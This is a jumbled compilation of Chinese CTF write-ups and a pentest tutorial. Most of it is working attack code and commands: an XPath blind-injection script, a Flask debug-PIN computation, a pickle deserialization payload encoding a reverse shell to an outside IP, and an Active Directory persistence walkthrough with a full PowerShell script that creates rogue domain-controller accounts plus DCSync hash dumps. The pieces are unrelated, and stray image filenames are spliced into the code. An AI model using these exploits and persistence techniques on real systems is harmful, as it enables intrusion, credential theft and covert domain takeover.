void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6lthbbqwzeg315460.jpgv5hnqwmvwea15462.jpg
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)be4wd4pfuna15465.jpg

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可ida3hbjgpt015468.jpgrvkza1jky3l15471.jpg
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flagskovnssspcw15537.jpg发现 ffffl111l1a44a4gggetngbcqy5bj15542.jpg可以看到这里是开启debug的。那么可以算pin来打huwkucibco315547.jpg可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码gp4pylsrtq115551.jpg算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

qwhv4okjyeu15556.jpg

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
korat3tsdyy15559.jpg然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174qixmwf3h1sv15562.jpg
黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
xocezbtklls15565.jpg本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadgalxtx5t3rl15568.jpgC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 

0x00 前言

机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。

@Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。

0x01  userAccountControl基础知识

在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。

juspjjzssr415510.png

下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。

mhwcps02h1315512.png

userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。

0x02  实验测试一

在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。

(1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd

Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建一个机器账户
New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

phom133gj2m15515.png

(2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。

Import-Module .\PowerView.ps1
Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl

vycu4kmwhaa15517.png

(3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。

Import-Module .\PowerView.ps1
Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose

1uzyn5s0ig215520.png

如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。

0w5yzarnzbv15523.png

(4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。

python3 secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc

l0lu20yfw5k15530.png

根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码:

Function NewDomainController {
<#
.SYNOPSIS
    This script will create a new domain controller account in the domain for the purpose of domain persistence.
.DESCRIPTION
    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit 
    field. Different flags represent different user information. The value of this attribute is the sum of all 
    flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 
    and decimal value is 8192, which is used to indicate that the account is the machine account of the domain 
    controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, 
    Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. 
    So just change userAccountControl to grant domain controller privileges to normal domain member machines.
.LINK
    https://whoamianony.top/domain-persistence-machine-accounts/
.PARAMETER Domain
    Specifies the domain name, if omitted, the domain name will be obtained automatically.
.PARAMETER DomainController
    Specifies the FQDN of the domain controller.
.PARAMETER MachineAccount
    Specifies the name of the machine account to be created.
.PARAMETER Password
    Specifies the password of the machine account to be created.
.OUTPUTS
    Output will be shown in the console
.NOTES
    Version:        0.1
    Author:         WHOAMI
    Date:           01/18/2022
.EXAMPLE
    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>

    param (
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$DomainController,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$MachineAccount,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Password
    )


    function FormatStatus([string]$Flag, [string]$Message) {
        If($Flag -eq "1") {
            Write-Host "[+] " -ForegroundColor:Green -NoNewline
            Write-Host $Message
        }ElseIf($Flag -eq "0") {
            Write-Host "[-] " -ForegroundColor:Red -NoNewline
            Write-Host $Message
        }
    }
    

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if($Password)
    {
        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
    }

    if(!$DomainController -or !$Domain)
    {
        try
        {
            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            FormatStatus 0 "$($_.Exception.Message)"
            throw
        }

        if(!$DomainController)
        {
            $DomainController = $CurrentDomain.PdcRoleOwner.Name
            FormatStatus 1 "Get Domain Controller: $DomainController"
        }

        if(!$Domain)
        {
            $Domain = $CurrentDomain.Name
            $Domain = $Domain.ToLower()
            FormatStatus 1 "Get Domain Name: $Domain"
        }
    }

    $_MachineAccount = $MachineAccount

    if($MachineAccount.EndsWith('$'))
    {
        $SAMAccountName = $_MachineAccount
        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
    }
    else 
    {
        $SAMAccountName = $_MachineAccount + "$"
    }

    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 


    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"
    $DC_array = $Domain.Split(".")

    ForEach($DC in $DC_array)
    {
        $DistinguishedName += ",DC=$DC"
    }

    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"

    FormatStatus 1 "Start creating a machine account $MachineAccount"
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)

    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
    $request.DistinguishedName = $DistinguishedName
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null

    try
    {
        $connection.SendRequest($request) > $null
        FormatStatus 1  "Create machine account $MachineAccount successfully"
    }
    catch
    {
        FormatStatus 0  "$($_.Exception.Message)"

        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
        {
            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
        }

    }
}

运行该脚本即可创建一个新的域控账户,如下图所示。

Import-Module .\NewDomainController.ps1
NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"

mh3smpgiqwo15534.png

机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。

net group "Domain Admins" PENTEST$ /add /domain

wiv5fbfcdwe15539.png

如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc-user  "PENTEST\Administrator"

klnd235e2zq15544.png

值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示:

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11

lk2sv1ga5xt15548.png


python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt2cqb3mbhw4s15552.jpg

0x02  实验测试一(推荐使用)

添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)

工具地址:https://github.com/chibd2000/hyscan

添加机器用户命令:

hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11

可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中

fon1vhkh4jw15558.png

查看域控制器成员,发现机器用户DCBAK已在列表中

  net group "domain controllers" /domain

bb325jyt0ct15561.png

在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。

 runas /user:hengge.com\dcback /netonly cmd

wskwxzwmkj115564.png

在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash

mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit

mktnjyosehy15567.png

impacket serectdump进行DCYNC的DUMP出域的hash

python secretsdump.py hengge.com/dcback$@192.168.4.11 -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm

qjhi5rgkboc15570.png



参考文章https://whoamianony.top/domain-persistence-machine-accounts/https://itach1.com/archives/102/#cl-1https://adsecurity.org/?p=2753  https://www.cnblogs.com/zpchcbd/p/15840413.htmlhttps://stealthbits.com/blog/server-untrust-account/

1.Web

1-1:题目名称:目录扫描

l5y0lbtvzjy15509.jpg

3ptlnbboz5e15511.jpg

a1k3rhhix1o15527.jpg

Flag:

DASCTF{84a70245035ca88088a2ba6ae2378021}

 

1-3:题目名称:MissingData

 

主要就是开头ob_start();所以所有输出都会存到缓冲区,用户手动取输出

所以文件名$this->LOG_NAMEhello获得:

$hello = $_GET['hello'];

echo $hello;

$this->LOG_NAME = base64_decode(ob_get_contents());//就把hello传过来的值存到LOG_NAME

ob_clean();

 

文件内容就是REMOTE_ADDR连接UA

$getlog->setIp($_SERVER['REMOTE_ADDR']);

$getlog->setUserAgent($_SERVER['HTTP_USER_AGENT']);

$getlog->echoLog();

$log_info = date("Y-m-d H:i:s ").ob_get_contents();

 

 

 

最末尾析构函数会写日志

public $LOG_PATH = "/log/";

file_put_contents(dirname(__FILE__).$this->LOG_PATH.$this->LOG_NAME,$log_info);

//路径也就是./log/$_GET['hello']

//文件内容用UA写个一句话就OK

把输出都先丢缓冲区然后存文件里了,文件名由hello控制,文件内容ua写个一句话就行了

s3145kcltv115529.jpg

aevjw1jplwv15533.jpg

izxrx3nkabg15538.jpg

 

 

 

2.MISC

2-3-题目名称:0101

 

p4i0vse3gge15541.jpg

tceerechfbi15546.jpg

发现是pk开头,是zip压缩包,改成a.zip

使用以下脚本进行得到flag:

importzipfile

z = zipfile.ZipFile('./a.zip')

foriinz.filelist:
print(i)

s = ''
foriinrange(304):
x = z.getinfo(f'file/{i}.png')
ifx.file_size>500:
s += '0'
else:
s += '1'
# print(s)
print(int.to_bytes(int(s, 2), 304//8, 'big'))

flag: DASCTF{Jo2YAKT_IcRgmzZ3GWe_Swt8vqadQO}

 

3.CRYPTO

3-1题目名称:soeasy_rsa

 

from gmpy2 import *

from Crypto.Util.number import *

a=23804021940078676408342301332036892900004728136480076479530219752065125327318821647722459216095770264965388973551323635311313178838670860487788476788686756050157264721772586844596306406576857878507037529439070526513923394974678433717664180257965624133033383511215139076867891548866207158515487182813656668091870588002638518245252590786003914393372830494390833657940568569618842104970029260363695053572749495893999945220493935637334868029460448282514843103145795102173534495304156971490358608124680851055950154432367509652612855903019752959349069234185596982394068554146096092741880878895682860091022727772496856721290

p=iroot(a,2)

print(p)

p=154285520837435281376516898144008792793020984180192603663692347665042795645086703863131549256869630446819852185017005249707039620525550780754809067914632509810226131750340822324265288338519653179637243674514007442185191001273565127093303845334544550007384054303733880561987508919843229875482519439615469904551

print(is_prime(p))

c1 = 75949211970645260477840809230795170598275394663655585446502049744151634977806266592064437936389888280642329073167371358021391264606028082728274944584341647324957857195053188220196244561623697425292916511744852569537275299008074069250282222480373555169325242455879869868679935977005580843853804599341730525546675515324718058489296906319060874296111833437083796029771812

c2 = 77907941155376849046818020584594846942386293571953448410760364023962818506838837521412252753647936913064982141652362831680077554268552176063108954360620095019160785058740575077744544616439692739387312706279917959252426192939648962492950940347253817951644007140862267776520611944302335981903665518644840891111449931544355548130487697653008605945892957382219567188182572

q=iroot(a-(p**2),2)

print(q)

q=888347358062191513488156436138991579826598872460149267394117

 

n=p*q

for e in range(2**16):

 

try:

        d=invert(e,(p-1)*(q-1))

        m=pow(c1,d,n)

        m=long_to_bytes(m)

        if b'DASCTF' in m:

            print(e)

            print(m)

except:pass

ehzcej3h1nd15550.jpg

3-2题目名称:middlersa1

dp低位泄露,直接sagemath还原dp

fromtqdmimport*
secret = 1642122247947767590084047512154856959705749371720710428047250478126321193705946117104552307567185209952017
e = 0x10001
